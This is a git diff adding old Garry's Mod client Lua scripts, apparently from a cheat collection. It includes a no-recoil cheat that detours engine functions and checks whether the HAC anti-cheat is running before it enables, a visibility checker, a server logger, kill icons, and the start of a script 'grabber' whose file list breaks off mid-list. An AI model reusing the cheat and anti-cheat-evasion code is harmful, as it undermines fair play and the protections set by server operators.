ValidEntity(v) and (v:Team() == TEAM_SPECTATOR or not v:Alive()) then + table.remove(Players, k) + end + end + + DELAY_LAST = CurTime() + return Players +end + + +local function SortDistance(ply1,ply2) + return (ply1:GetPos():Distance( ply2:GetPos() ) ) < (ply2:GetPos():Distance( ply1:GetPos() ) ) +end + +local MaxAngle = math.cos( math.rad(45) ) +local HisEyes = Vector(0,0,32) + +local lastWitnessCheck = 0 +local witnessCheckDelay = 0.3 +local LocaPos = nil + +local TraceRes = { + mask = MASK_SOLID_BRUSHONLY, +} +local Trace = {} +local PlayersCanSee = {} + +function CheckCanSee() + if ( CurTime() > (lastWitnessCheck + witnessCheckDelay) ) then + LocaPos = LocalPlayer():EyePos() + PlayersCanSee = {} + + for k,target in pairs( FillPlayerTable() ) do + if ValidEntity(target) and target != LocalPlayer() then + Trace.start = LocaPos + HisEyes + Trace.endpos = target:EyePos() + HisEyes + Trace.filter = {target, LocalPlayer()} + + TraceRes = util.TraceLine( Trace ) + if not TraceRes.Hit then + if (target:EyeAngles():Forward():DotProduct((LocaPos - target:EyePos()):Normalize()) > MaxAngle) then --Can see! + table.insert(PlayersCanSee, target) + end + end + end + end + table.sort(PlayersCanSee, SortDistance) + + lastWitnessCheck = CurTime() + end +end +hook.Add("Think", "CheckCanSee", CheckCanSee) + + +concommand.Add("lol", function() + PrintTable( PlayersCanSee ) +end) + + + + + + + + + + + + + diff --git a/Repos/Evil-master/v12/HeXs_Scripts/DevStuff/old/cl_RCL.lua b/Repos/Evil-master/v12/HeXs_Scripts/DevStuff/old/cl_RCL.lua new file mode 100644 index 0000000..5d5ad3f --- /dev/null +++ b/Repos/Evil-master/v12/HeXs_Scripts/DevStuff/old/cl_RCL.lua @@ -0,0 +1,70 @@ + + +local Enabled = false +local Force = CreateClientConVar("hex_recoil_force", 0, false, false) + + +local function HeXNoRecoil() + if Enabled then + if ValidEntity(LocalPlayer():GetActiveWeapon()) and (LocalPlayer():GetActiveWeapon().Primary and LocalPlayer():GetActiveWeapon().Primary.Recoil != 0) then + LocalPlayer():GetActiveWeapon().OldRecoil = LocalPlayer():GetActiveWeapon().Recoil or (LocalPlayer():GetActiveWeapon().Primary and LocalPlayer():GetActiveWeapon().Primary.Recoil) + LocalPlayer():GetActiveWeapon().Recoil = 0 + LocalPlayer():GetActiveWeapon().Primary.Recoil = 0 + end + elseif ValidEntity(LocalPlayer():GetActiveWeapon()) and (LocalPlayer():GetActiveWeapon().Primary and LocalPlayer():GetActiveWeapon().Primary.Recoil == 0) and LocalPlayer():GetActiveWeapon().OldRecoil then + LocalPlayer():GetActiveWeapon().Recoil = LocalPlayer():GetActiveWeapon().OldRecoil + LocalPlayer():GetActiveWeapon().Primary.Recoil = LocalPlayer():GetActiveWeapon().OldRecoil + end +end + + + +local function RecoilToggle(ply,cmd,args) + if Enabled then + Enabled = false + print("Recoil enabled") + else + Enabled = true + print("Recoil disabled") + end +end +concommand.Add("hex_recoil_toggle", RecoilToggle) + + + +local function IsCSS() + return HeX.MyCall(4):find("weapon_") +end + +local function ViewPunch(self,ang) + if IsCSS() then return end + + return self:ViewPunchOld(ang) +end +local function SetEyeAngles(self,ang) + if IsCSS() then return end + + return self:SetEyeAnglesOld(ang) +end + +local function RecoilEnabled(ply,cmd,args) + if HACInstalled and not Force:GetBool() then + print("! HAC is running, dangerous!, force enable to use") + return + end + + HeX.Detour.Player("ViewPunch", ViewPunch) + HeX.Detour.Player("SetEyeAngles", SetEyeAngles) + + hook.Add("Think", "HeXNoRecoil", HeXNoRecoil) +end +concommand.Add("hex_recoil_enabled", RecoilEnabled) + + + + + + + + + diff --git a/Repos/Evil-master/v12/HeXs_Scripts/DevStuff/old/cl_SRVLog.lua b/Repos/Evil-master/v12/HeXs_Scripts/DevStuff/old/cl_SRVLog.lua new file mode 100644 index 0000000..36ce7a4 --- /dev/null +++ b/Repos/Evil-master/v12/HeXs_Scripts/DevStuff/old/cl_SRVLog.lua @@ -0,0 +1,52 @@ +if SERVER then return end +--HeX's "WTF was that server i played on!" script + +local SRVLogEnabled = CreateClientConVar("srv_log_enabled", 1, true, false) +local SRVLogFile = "SRVLog/SRVLog.txt" + +local ServerFullDate = os.date("%d-%m-%y %I:%M%p") +local ServerTime = os.date("%I-%M%p") +local ServerName = GetHostName() +local ServerIP = "0.0.0.0" +local ServerMap = game.GetMap() +local ServerPlayers = "0/0" +local SRVLogString = "SRVLogString" +local GModVersion = "U"..VERSION + +function SRVLogLog() + SRVLogFile = "SRVLog/"..os.date("%d-%m-%Y_%A")..".txt" + ServerFullDate = os.date("%d-%m-%y %I:%M%p") + + ServerTime = os.date("%I-%M%p") + ServerName = GetHostName() + ServerIP = "0.0.0.0" --there is no way to get the current server's IP that i know of + ServerMap = game.GetMap() + ServerPlayers = string.format("%s/%s", #player.GetAll(), MaxPlayers()) + + SRVLogString = string.format("[%s]\nName: %s\nPlayers: %s\nMap: %s\nV: %s\n\n", ServerFullDate, ServerName, ServerPlayers, ServerMap, GModVersion) + --SRVLogString = string.format("[%s]\nName: %s\nIP: %s\n Players: %s\nMap: %s\n\n", ServerFullDate, ServerName, ServerIP, ServerPlayers, ServerMap) + + if not file.Exists(SRVLogFile) then + file.Write(SRVLogFile, string.format("HeX's Server Log created at [%s]\n\n", ServerFullDate)) + end + filex.Append(SRVLogFile, SRVLogString) + Msg("\n"..SRVLogString) +end +concommand.Add("logserver", SRVLogLog) + +local function SRVLogInit() + timer.Create("SRVLogInit", 5, 1, function() + if not SinglePlayer() and SRVLogEnabled:GetBool() and (#player.GetAll() > 1) then + SRVLogLog() + end + end) +end +hook.Add("InitPostEntity", "SRVLog", SRVLogInit) + + + + + + + + diff --git a/Repos/Evil-master/v12/HeXs_Scripts/DevStuff/old/cl_ki.lua b/Repos/Evil-master/v12/HeXs_Scripts/DevStuff/old/cl_ki.lua new file mode 100644 index 0000000..3f92381 --- /dev/null +++ b/Repos/Evil-master/v12/HeXs_Scripts/DevStuff/old/cl_ki.lua @@ -0,0 +1,36 @@ + +usermessage.Hook( "PlayerKilled", function ( message ) + + local victim = message:ReadEntity(); + local inflictor = message:ReadString(); + local attacker = "#" .. message:ReadString(); + + if (attacker == "#npc_turret_floor") then inflictor = "npc_turret_floor" end + + GAMEMODE:AddDeathNotice( attacker, -1, inflictor, victim:Name(), victim:Team() ) + +end ) + +usermessage.Hook( "NPCKilledNPC", function ( message ) + + local victim = "#" .. message:ReadString(); + local inflictor = message:ReadString(); + local tmp = message:ReadString(); + local attacker = "#" .. tmp; + + if (tmp == "combine_mine" or + tmp == "npc_antlion" or + tmp == "npc_turret_floor" or + tmp == "npc_antlionguard" or + tmp == "npc_barnacle" or + (tmp == "npc_antlion_worker" and inflictor ~= "grenade_spit") or + (tmp == "npc_hunter" and inflictor ~= "hunter_flechette") or + (tmp == "npc_strider" and inflictor ~= "concussiveblast") or + tmp == "npc_rollermine" or + tmp == "weapon_striderbuster" or + tmp == "npc_manhack") then inflictor = tmp + end + + GAMEMODE:AddDeathNotice( attacker, -1, inflictor, victim, -1 ) + +end ) diff --git a/Repos/Evil-master/v12/HeXs_Scripts/DevStuff/old/cl_killicons.lua b/Repos/Evil-master/v12/HeXs_Scripts/DevStuff/old/cl_killicons.lua new file mode 100644 index 0000000..2de095f --- /dev/null +++ b/Repos/Evil-master/v12/HeXs_Scripts/DevStuff/old/cl_killicons.lua @@ -0,0 +1,112 @@ +killicons_color = Color( 255, 80, 0, 255 ) + +local function AddKillicon(class, material) + killicon.Add(class,material,killicons_color) +end + +-- Source entities + +killicon.Add( "ent_mad_c4", "vgui/entities/weapon_mad_c4", Color( 255, 255, 255, 255 ) ) + +killicon.AddFont( "npc_tripmine", "HL2MPTypeDeath", "*", Color( 255, 80, 0, 255 ) ) +killicon.AddFont( "npc_satchel", "HL2MPTypeDeath", "*", Color( 255, 80, 0, 255 ) ) + +killicon.AddFont( "weapon_bulletnade", "HL2MPTypeDeath", "5", Color( 255, 80, 0, 255 ) ) +killicon.AddFont( "bullet_grenade", "HL2MPTypeDeath", "5", Color( 255, 80, 0, 255 ) ) + +killicon.AddFont( "boomstick", "HL2MPTypeDeath", "0", Color( 15, 20, 200, 255 ) ) + + + + +--my end only +--killicon.Add( "weapon_sniper", "vgui/entities/weapon_sniper", Color( 255, 255, 255, 255 ) ) + +killicon.AddFont("weapon_sniper","CSKillIcons","r",Color( 15, 20, 200, 255 )) + + +AddKillicon("env_fire","killicons/env_fire_killicon") +AddKillicon("entityflame","killicons/env_fire_killicon") + +AddKillicon("worldspawn","killicons/worldspawn_killicon") + +AddKillicon("env_explosion","killicons/env_explosion_killicon") +AddKillicon("env_physexplosion","killicons/env_explosion_killicon") + +AddKillicon("env_laser","killicons/env_laser_killicon") +AddKillicon("env_beam","killicons/env_laser_killicon") + +AddKillicon("combine_mine","killicons/combine_mine_killicon") +--AddKillicon("npc_antlion","killicons/npc_antlion_killicon") +--AddKillicon("npc_antlionguard","killicons/npc_antlionguard_killicon") +--AddKillicon("npc_manhack","killicons/npc_manhack_killicon") +--AddKillicon("npc_rollermine","killicons/npc_rollermine_killicon") +--AddKillicon("npc_barnacle","killicons/npc_barnacle_killicon") +--AddKillicon("npc_strider","killicons/npc_strider_gun_killicon") +AddKillicon("concussiveblast","killicons/npc_strider_cannon_killicon") + +AddKillicon("func_physbox","killicons/func_physbox_killicon") +AddKillicon("func_physbox_multiplayer","killicons/func_physbox_killicon") + +--AddKillicon("prop_ragdoll","killicons/prop_ragdoll_killicon") + +AddKillicon("point_hurt","killicons/point_hurt_killicon") +AddKillicon("trigger_hurt","killicons/point_hurt_killicon") + +AddKillicon("func_door","killicons/func_door_killicon") +AddKillicon("func_door_rotating","killicons/func_door_killicon") +AddKillicon("prop_door_rotating","killicons/func_door_killicon") + +AddKillicon("env_headcrabcanister","killicons/env_headcrabcanister_killicon") + +-- GMod 2007 +AddKillicon("npc_antlion_worker","killicons/npc_antlion_killicon") +AddKillicon("grenade_spit","killicons/grenade_spit_killicon") +AddKillicon("hunter_flechette","killicons/hunter_flechette_killicon") +AddKillicon("weapon_striderbuster","killicons/weapon_striderbuster_killicon") + +-- Nuke +AddKillicon("sent_nuke","killicons/sent_nuke_killicon") +AddKillicon("sent_nuke_radiation","killicons/sent_nuke_killicon") + +-- _Kilburn's SWEPs +AddKillicon("weapon_weldball","killicons/weldball_killicon") +AddKillicon("npc_weldball_proj","killicons/weldball_killicon") +AddKillicon("npc_weldball_proj_dead","killicons/weldball_killicon") +AddKillicon("weapon_spazzernade","killicons/spazzernade_killicon") +AddKillicon("npc_spazzenade_proj","killicons/spazzernade_killicon") + +usermessage.Hook( "PlayerKilled", function ( message ) + + local victim = message:ReadEntity(); + local inflictor = message:ReadString(); + local attacker = "#" .. message:ReadString(); + + if (attacker == "#combine_mine") then inflictor = "combine_mine" end + + GAMEMODE:AddDeathNotice( attacker, -1, inflictor, victim:Name(), victim:Team() ) + +end ) + +usermessage.Hook( "NPCKilledNPC", function ( message ) + + local victim = "#" .. message:ReadString(); + local inflictor = message:ReadString(); + local tmp = message:ReadString(); + local attacker = "#" .. tmp; + + if (tmp == "combine_mine" or + tmp == "npc_antlion" or + tmp == "npc_antlionguard" or + tmp == "npc_barnacle" or + (tmp == "npc_antlion_worker" and inflictor ~= "grenade_spit") or + (tmp == "npc_hunter" and inflictor ~= "hunter_flechette") or + (tmp == "npc_strider" and inflictor ~= "concussiveblast") or + tmp == "npc_rollermine" or + tmp == "weapon_striderbuster" or + tmp == "npc_manhack") then inflictor = tmp + end + + GAMEMODE:AddDeathNotice( attacker, -1, inflictor, victim, -1 ) + +end ) \ No newline at end of file diff --git a/Repos/Evil-master/v12/HeXs_Scripts/DevStuff/old/cleanup/!.lua b/Repos/Evil-master/v12/HeXs_Scripts/DevStuff/old/cleanup/!.lua new file mode 100644 index 0000000..5d514a5 --- /dev/null +++ b/Repos/Evil-master/v12/HeXs_Scripts/DevStuff/old/cleanup/!.lua @@ -0,0 +1,382 @@ +require( "hook" ) +require( "table" ) +require( "preproc" ) + +MsgN( "<-- Grabber initialized here" ) + +local NoGrab = { + "lua\\includes\\init.lua", + "lua\\includes\\compat.lua", + "lua\\includes\\util.lua", + "lua\\includes\\util\\sql.lua", + "lua\\includes\\modules\\concommand.lua", + "lua\\includes\\modules\\saverestore.lua", + "lua\\includes\\modules\\gamemode.lua", + "lua\\includes\\modules\\weapons.lua", + "lua\\includes\\modules\\timer.lua", + "lua\\includes\\modules\\schedule.lua", + "lua\\includes\\modules\\scripted_ents.lua", + "lua\\includes\\modules\\player_manager.lua", + "lua\\includes\\modules\\numpad.lua", + "lua\\includes\\modules\\team.lua", + "lua\\includes\\modules\\undo.lua", + "lua\\includes\\modules\\usermessage.lua", + "lua\\includes\\modules\\cleanup.lua", + "lua\\includes\\modules\\duplicator.lua", + "lua\\includes\\modules\\constraint.lua", + "lua\\includes\\modules\\construct.lua", + "lua\\includes\\modules\\filex.lua", + "lua\\includes\\modules\\vehicles.lua", + "lua\\includes\\modules\\list.lua", + "lua\\includes\\modules\\cvars.lua", + "lua\\includes\\modules\\http.lua", + "lua\\includes\\modules\\datastream.lua", + "lua\\includes\\modules\\glon.lua", + "lua\\includes\\modules\\draw.lua", + "lua\\includes\\modules\\markup.lua", + "lua\\includes\\modules\\effects.lua", + "lua\\includes\\modules\\killicon.lua", + "lua\\includes\\modules\\spawnmenu.lua", + "lua\\includes\\modules\\controlpanel.lua", + "lua\\includes\\modules\\presets.lua", + "lua\\includes\\modules\\cookie.lua", + "lua\\includes\\util\\model_database.lua", + "lua\\includes\\util\\vgui_showlayout.lua", + "lua\\includes\\util\\tooltips.lua", + "lua\\includes\\util\\client.lua", + "lua\\includes\\gmsave.lua", + "lua\\includes\\gmsave\\uploader.lua", + "lua\\includes\\extensions\\angle.lua", + "lua\\includes\\extensions\\debug.lua", + "lua\\includes\\extensions\\entity.lua", + "lua\\includes\\extensions\\entity_cl.lua", + "lua\\includes\\extensions\\entity_networkvars.lua", + "lua\\includes\\extensions\\global_cl.lua", + "lua\\includes\\extensions\\math.lua", + "lua\\includes\\extensions\\mesh.lua", + "lua\\includes\\extensions\\panel.lua", + "lua\\includes\\extensions\\panel_animation.lua", + "lua\\includes\\extensions\\panel_animation.lua", + "lua\\includes\\extensions\\player.lua", + "lua\\includes\\extensions\\player_auth.lua", + "lua\\includes\\extensions\\player_cl.lua", + "lua\\includes\\extensions\\render.lua", + "lua\\includes\\extensions\\string.lua", + "lua\\includes\\extensions\\table.lua", + "lua\\includes\\extensions\\util.lua", + "lua\\includes\\extensions\\vector.lua", + "lua\\includes\\extensions\\vgui_sciptedpanels.lua", + "lua\\derma\\init.lua", + "lua\\derma\\derma.lua", + "lua\\derma\\derma_example.lua", + "lua\\derma\\derma_menus.lua", + "lua\\derma\\derma_animation.lua", + "lua\\derma\\derma_utils.lua", + "Startup", + "lua\\includes\\modules\\notification.lua", + "gamemodes\\base\\gamemode\\cl_init.lua", + "gamemodes\\base\\gamemode\\shared.lua", + "gamemodes\\base\\gamemode\\obj_player_extend.lua", + "gamemodes\\base\\gamemode\\gravitygun.lua", + "gamemodes\\base\\gamemode\\player_shd.lua", + "gamemodes\\base\\gamemode\\animations.lua", + "gamemodes\\base\\gamemode\\cl_scoreboard.lua", + "gamemodes\\base\\gamemode\\cl_targetid.lua", + "gamemodes\\base\\gamemode\\cl_hudpickup.lua", + "gamemodes\\base\\gamemode\\cl_spawnmenu.lua", + "gamemodes\\base\\gamemode\\cl_deathnotice.lua", + "gamemodes\\base\\gamemode\\cl_pickteam.lua", + "gamemodes\\base\\gamemode\\cl_voice.lua", + "lua\\autorun\\base_npcs.lua", + "lua\\autorun\\base_npcs_weapons.lua", + "lua\\autorun\\base_vehicles.lua", + "lua\\autorun\\developer_functions.lua", + "lua\\autorun\\options_menu.lua", + "lua\\autorun\\utilities_menu.lua", + "addons\\counter-strike\\lua\\autorun\\cs_playermodels.lua", + "lua\\autorun\\client\\player_info.lua", + "lua\\postprocess\\bloom.lua", + "lua\\postprocess\\categories.lua", + "lua\\postprocess\\color_modify.lua", + "lua\\postprocess\\dof.lua", + "lua\\postprocess\\morph.lua", + "lua\\postprocess\\motion_blur.lua", + "lua\\postprocess\\overlay.lua", + "lua\\postprocess\\pixelrender.lua", + "lua\\postprocess\\sharpen.lua", + "lua\\postprocess\\sobel.lua", + "lua\\postprocess\\stereoscopy.lua", + "lua\\postprocess\\sunbeams.lua", + "lua\\postprocess\\super_dof.lua", + "lua\\postprocess\\toytown.lua", + "lua\\vgui\\contextbase.lua", + "lua\\vgui\\dalphabar.lua", + "lua\\vgui\\dbevel.lua", + "lua\\vgui\\dbutton.lua", + "lua\\vgui\\dcategorycollapse.lua", + "lua\\vgui\\dcheckbox.lua", + "lua\\vgui\\dcolorcircle.lua", + "lua\\vgui\\dcolorcube.lua", + "lua\\vgui\\dcoloredbox.lua", + "lua\\vgui\\dcolormixer.lua", + "lua\\vgui\\dcolumnsheet.lua", + "lua\\vgui\\dcombobox.lua", + "lua\\vgui\\dform.lua", + "lua\\vgui\\dframe.lua", + "lua\\vgui\\dgrid.lua", + "lua\\vgui\\dhorizontaldivider.lua", + "lua\\vgui\\dhorizontalscroller.lua", + "lua\\vgui\\dhtmlcontrols.lua", + "lua\\vgui\\dimage.lua", + "lua\\vgui\\dimagebutton.lua", + "lua\\vgui\\dkillicon.lua", + "lua\\vgui\\dlabel.lua", + "lua\\vgui\\dlabelurl.lua", + "lua\\vgui\\dlistview.lua", + "lua\\vgui\\dlistview_column.lua", + "lua\\vgui\\dlistview_line.lua", + "lua\\vgui\\dluaeditor.lua", + "lua\\vgui\\dmenu.lua", + "lua\\vgui\\dmenuoption.lua", + "lua\\vgui\\dmodelpanel.lua", + "lua\\vgui\\dmodelselect.lua", + "lua\\vgui\\dmodelselectmulti.lua", + "lua\\vgui\\dmultichoice.lua", + "lua\\vgui\\dnotify.lua", + "lua\\vgui\\dnumberwang.lua", + "lua\\vgui\\dnumpad.lua", + "lua\\vgui\\dnumslider.lua", + "lua\\vgui\\dpanel.lua", + "lua\\vgui\\dpanellist.lua", + "lua\\vgui\\dpanelselect.lua", + "lua\\vgui\\dpropertysheet.lua", + "lua\\vgui\\drgbbar.lua", + "lua\\vgui\\dscrollbargrip.lua", + "lua\\vgui\\dscrollpanel.lua", + "lua\\vgui\\dshape.lua", + "lua\\vgui\\dslider.lua", + "lua\\vgui\\dsprite.lua", + "lua\\vgui\\dsysbutton.lua", + "lua\\vgui\\dtextentry.lua", + "lua\\vgui\\dtinybutton.lua", + "lua\\vgui\\dtooltip.lua", + "lua\\vgui\\dtree.lua", + "lua\\vgui\\dtree_node.lua", + "lua\\vgui\\dtree_node_button.lua", + "lua\\vgui\\dverticaldivider.lua", + "lua\\vgui\\dvscrollbar.lua", + "lua\\vgui\\fingerposer.lua", + "lua\\vgui\\fingervar.lua", + "lua\\vgui\\imagebutton.lua", + "lua\\vgui\\imagecheckbox.lua", + "lua\\vgui\\material.lua", + "lua\\vgui\\matselect.lua", + "lua\\vgui\\propselect.lua", + "lua\\vgui\\slidebar.lua", + "lua\\vgui\\spawnicon.lua", + "lua\\vgui\\toolquickselect.lua", + "lua\\vgui\\toolquickselect_properties.lua", + "lua\\vgui\\vgui_panellist.lua", + "lua\\skins\\default.lua", + "gamemodes\\sandbox\\gamemode\\cl_init.lua", + "gamemodes\\sandbox\\gamemode\\shared.lua", + "gamemodes\\sandbox\\gamemode\\player_extension.lua", + "gamemodes\\sandbox\\gamemode\\cl_spawnmenu.lua", + "gamemodes\\sandbox\\gamemode\\spawnmenu\\spawnmenu.lua", + "gamemodes\\sandbox\\gamemode\\spawnmenu\\toolmenu.lua", + "gamemodes\\sandbox\\gamemode\\spawnmenu\\toolpanel.lua", + "gamemodes\\sandbox\\gamemode\\spawnmenu\\controlpanel.lua", + "gamemodes\\sandbox\\gamemode\\spawnmenu\\controls\\manifest.lua", + "gamemodes\\sandbox\\gamemode\\spawnmenu\\controls\\control_presets.lua", + "gamemodes\\sandbox\\gamemode\\spawnmenu\\controls\\preset_editor.lua", + "gamemodes\\sandbox\\gamemode\\spawnmenu\\controls\\ropematerial.lua", + "gamemodes\\sandbox\\gamemode\\spawnmenu\\controls\\ctrlnumpad.lua", + "gamemodes\\sandbox\\gamemode\\spawnmenu\\controls\\ctrlcolor.lua", + "gamemodes\\sandbox\\gamemode\\spawnmenu\\controls\\ctrllistbox.lua", + "gamemodes\\sandbox\\gamemode\\spawnmenu\\toolmenubutton.lua", + "gamemodes\\sandbox\\gamemode\\spawnmenu\\contextmenu.lua", + "gamemodes\\sandbox\\gamemode\\spawnmenu\\creationmenu.lua", + "gamemodes\\sandbox\\gamemode\\spawnmenu\\creationmenu\\manifest.lua", + "gamemodes\\sandbox\\gamemode\\spawnmenu\\creationmenu\\props.lua", + "gamemodes\\sandbox\\gamemode\\spawnmenu\\creationmenu\\props\\propsearch.lua", + "gamemodes\\sandbox\\gamemode\\spawnmenu\\creationmenu\\props\\searchguts.lua", + "gamemodes\\sandbox\\gamemode\\spawnmenu\\creationmenu\\props\\proppanel.lua", + "gamemodes\\sandbox\\gamemode\\spawnmenu\\creationmenu\\modelbrowse.lua", + "gamemodes\\sandbox\\gamemode\\spawnmenu\\creationmenu\\npc.lua", + "gamemodes\\sandbox\\gamemode\\spawnmenu\\creationmenu\\weapons.lua", + "gamemodes\\sandbox\\gamemode\\spawnmenu\\creationmenu\\vehicles.lua", + "gamemodes\\sandbox\\gamemode\\spawnmenu\\creationmenu\\entities.lua", + "gamemodes\\sandbox\\gamemode\\cl_notice.lua", + "gamemodes\\sandbox\\gamemode\\cl_hints.lua", + "gamemodes\\sandbox\\gamemode\\cl_worldtips.lua", + "gamemodes\\sandbox\\gamemode\\cl_scoreboard.lua", + "gamemodes\\sandbox\\gamemode\\scoreboard\\scoreboard.lua", + "gamemodes\\sandbox\\gamemode\\scoreboard\\player_row.lua", + "gamemodes\\sandbox\\gamemode\\scoreboard\\player_infocard.lua", + "gamemodes\\sandbox\\gamemode\\scoreboard\\admin_buttons.lua", + "gamemodes\\sandbox\\gamemode\\scoreboard\\vote_button.lua", + "gamemodes\\sandbox\\gamemode\\scoreboard\\player_frame.lua", + "gamemodes\\sandbox\\gamemode\\cl_quicktool.lua", + "gamemodes\\base\\entities\\weapons\\weapon_base\\cl_init.lua", + "gamemodes\\base\\entities\\weapons\\weapon_base\\shared.lua", + "gamemodes\\base\\entities\\weapons\\weapon_base\\ai_translations.lua", + "gamemodes\\base\\entities\\weapons\\weapon_base\\sh_anim.lua", + "addons\\counter-strike\\lua\\weapons\\weapon_ak47\\shared.lua", + "addons\\counter-strike\\lua\\weapons\\weapon_cs_base\\shared.lua", + "addons\\counter-strike\\lua\\weapons\\weapon_deagle\\shared.lua", + "addons\\counter-strike\\lua\\weapons\\weapon_fiveseven\\shared.lua", + "addons\\counter-strike\\lua\\weapons\\weapon_glock\\shared.lua", + "addons\\counter-strike\\lua\\weapons\\weapon_m4\\shared.lua", + "addons\\counter-strike\\lua\\weapons\\weapon_mac10\\shared.lua", + "addons\\counter-strike\\lua\\weapons\\weapon_mp5\\shared.lua", + "addons\\counter-strike\\lua\\weapons\\weapon_para\\shared.lua", + "addons\\counter-strike\\lua\\weapons\\weapon_pumpshotgun\\shared.lua", + "addons\\counter-strike\\lua\\weapons\\weapon_tmp\\shared.lua", + "gamemodes\\base\\entities\\weapons\\weapon_base\\cl_init.lua", + "gamemodes\\base\\entities\\weapons\\weapon_base\\shared.lua", + "gamemodes\\base\\entities\\weapons\\weapon_base\\ai_translations.lua", + "gamemodes\\base\\entities\\weapons\\weapon_base\\sh_anim.lua", + "gamemodes\\sandbox\\entities\\weapons\\gmod_camera\\cl_init.lua", + "gamemodes\\sandbox\\entities\\weapons\\gmod_camera\\shared.lua", + "gamemodes\\sandbox\\entities\\weapons\\gmod_tool\\cl_init.lua", + "gamemodes\\sandbox\\entities\\weapons\\gmod_tool\\shared.lua", + "gamemodes\\sandbox\\entities\\weapons\\gmod_tool\\stool.lua", + "gamemodes\\sandbox\\entities\\weapons\\gmod_tool\\ghostentity.lua", + "gamemodes\\sandbox\\entities\\weapons\\gmod_tool\\object.lua", + "gamemodes\\sandbox\\entities\\weapons\\gmod_tool\\stool_cl.lua", + "gamemodes\\sandbox\\entities\\weapons\\gmod_tool\\stools\\axis.lua", + "gamemodes\\sandbox\\entities\\weapons\\gmod_tool\\stools\\balloon.lua", + "gamemodes\\sandbox\\entities\\weapons\\gmod_tool\\stools\\ballsocket.lua", + "gamemodes\\sandbox\\entities\\weapons\\gmod_tool\\stools\\ballsocket_adv.lua", + "gamemodes\\sandbox\\entities\\weapons\\gmod_tool\\stools\\ballsocket_ez.lua", + "gamemodes\\sandbox\\entities\\weapons\\gmod_tool\\stools\\button.lua", + "gamemodes\\sandbox\\entities\\weapons\\gmod_tool\\stools\\camera.lua", + "gamemodes\\sandbox\\entities\\weapons\\gmod_tool\\stools\\colour.lua", + "gamemodes\\sandbox\\entities\\weapons\\gmod_tool\\stools\\duplicator.lua", + "gamemodes\\sandbox\\entities\\weapons\\gmod_tool\\stools\\vgui\\duplicator_gui.lua", + "gamemodes\\sandbox\\entities\\weapons\\gmod_tool\\stools\\vgui\\duplicator_gui_button.lua", + "gamemodes\\sandbox\\entities\\weapons\\gmod_tool\\stools\\dynamite.lua", + "gamemodes\\sandbox\\entities\\weapons\\gmod_tool\\stools\\elastic.lua", + "gamemodes\\sandbox\\entities\\weapons\\gmod_tool\\stools\\emitter.lua", + "gamemodes\\sandbox\\entities\\weapons\\gmod_tool\\stools\\example.lua", + "gamemodes\\sandbox\\entities\\weapons\\gmod_tool\\stools\\eyeposer.lua", + "gamemodes\\sandbox\\entities\\weapons\\gmod_tool\\stools\\faceposer.lua", + "gamemodes\\sandbox\\entities\\weapons\\gmod_tool\\stools\\finger.lua", + "gamemodes\\sandbox\\entities\\weapons\\gmod_tool\\stools\\hoverball.lua", + "gamemodes\\sandbox\\entities\\weapons\\gmod_tool\\stools\\hydraulic.lua", + "gamemodes\\sandbox\\entities\\weapons\\gmod_tool\\stools\\ignite.lua", + "gamemodes\\sandbox\\entities\\weapons\\gmod_tool\\stools\\inflator.lua", + "gamemodes\\sandbox\\entities\\weapons\\gmod_tool\\stools\\keepupright.lua", + "gamemodes\\sandbox\\entities\\weapons\\gmod_tool\\stools\\lamp.lua", + "gamemodes\\sandbox\\entities\\weapons\\gmod_tool\\stools\\leafblower.lua", + "gamemodes\\sandbox\\entities\\weapons\\gmod_tool\\stools\\light.lua", + "gamemodes\\sandbox\\entities\\weapons\\gmod_tool\\stools\\magnetise.lua", + "gamemodes\\sandbox\\entities\\weapons\\gmod_tool\\stools\\material.lua", + "gamemodes\\sandbox\\entities\\weapons\\gmod_tool\\stools\\motor.lua", + "gamemodes\\sandbox\\entities\\weapons\\gmod_tool\\stools\\muscle.lua", + "gamemodes\\sandbox\\entities\\weapons\\gmod_tool\\stools\\nail.lua", + "gamemodes\\sandbox\\entities\\weapons\\gmod_tool\\stools\\nocollide.lua", + "gamemodes\\sandbox\\entities\\weapons\\gmod_tool\\stools\\paint.lua", + "gamemodes\\sandbox\\entities\\weapons\\gmod_tool\\stools\\physprop.lua", + "gamemodes\\sandbox\\entities\\weapons\\gmod_tool\\stools\\pulley.lua", + "gamemodes\\sandbox\\entities\\weapons\\gmod_tool\\stools\\remover.lua", + "gamemodes\\sandbox\\entities\\weapons\\gmod_tool\\stools\\rope.lua", + "gamemodes\\sandbox\\entities\\weapons\\gmod_tool\\stools\\rtcamera.lua", + "gamemodes\\sandbox\\entities\\weapons\\gmod_tool\\stools\\slider.lua", + "gamemodes\\sandbox\\entities\\weapons\\gmod_tool\\stools\\spawner.lua", + "gamemodes\\sandbox\\entities\\weapons\\gmod_tool\\stools\\statue.lua", + "gamemodes\\sandbox\\entities\\weapons\\gmod_tool\\stools\\thruster.lua", + "gamemodes\\sandbox\\entities\\weapons\\gmod_tool\\stools\\trails.lua", + "gamemodes\\sandbox\\entities\\weapons\\gmod_tool\\stools\\turret.lua", + "gamemodes\\sandbox\\entities\\weapons\\gmod_tool\\stools\\weld.lua", + "gamemodes\\sandbox\\entities\\weapons\\gmod_tool\\stools\\weld_ez.lua", + "gamemodes\\sandbox\\entities\\weapons\\gmod_tool\\stools\\wheel.lua", + "gamemodes\\sandbox\\entities\\weapons\\gmod_tool\\stools\\winch.lua", + "gamemodes\\sandbox\\entities\\weapons\\gmod_tool\\cl_viewscreen.lua", + "gamemodes\\sandbox\\entities\\weapons\\manhack_welder\\cl_init.lua", + "gamemodes\\sandbox\\entities\\weapons\\manhack_welder\\shared.lua", + "gamemodes\\base\\entities\\entities\\base_anim\\cl_init.lua", + "gamemodes\\base\\entities\\entities\\base_anim\\shared.lua", + "gamemodes\\base\\entities\\entities\\base_ai\\cl_init.lua", + "gamemodes\\base\\entities\\entities\\base_ai\\shared.lua", + "lua\\entities\\sent_ball\\cl_init.lua", + "lua\\entities\\sent_ball\\shared.lua", + "gamemodes\\base\\entities\\entities\\base_ai\\cl_init.lua", + "gamemodes\\base\\entities\\entities\\base_ai\\shared.lua", + "gamemodes\\base\\entities\\entities\\base_anim\\cl_init.lua", + "gamemodes\\base\\entities\\entities\\base_anim\\shared.lua", + "gamemodes\\base\\entities\\entities\\base_entity\\cl_init.lua", + "gamemodes\\base\\entities\\entities\\base_entity\\shared.lua", + "gamemodes\\base\\entities\\entities\\base_vehicle\\cl_init.lua", + "gamemodes\\base\\entities\\entities\\base_vehicle\\shared.lua", + "gamemodes\\base\\entities\\entities\\prop_effect\\cl_init.lua", + "gamemodes\\base\\entities\\entities\\prop_effect\\shared.lua", + 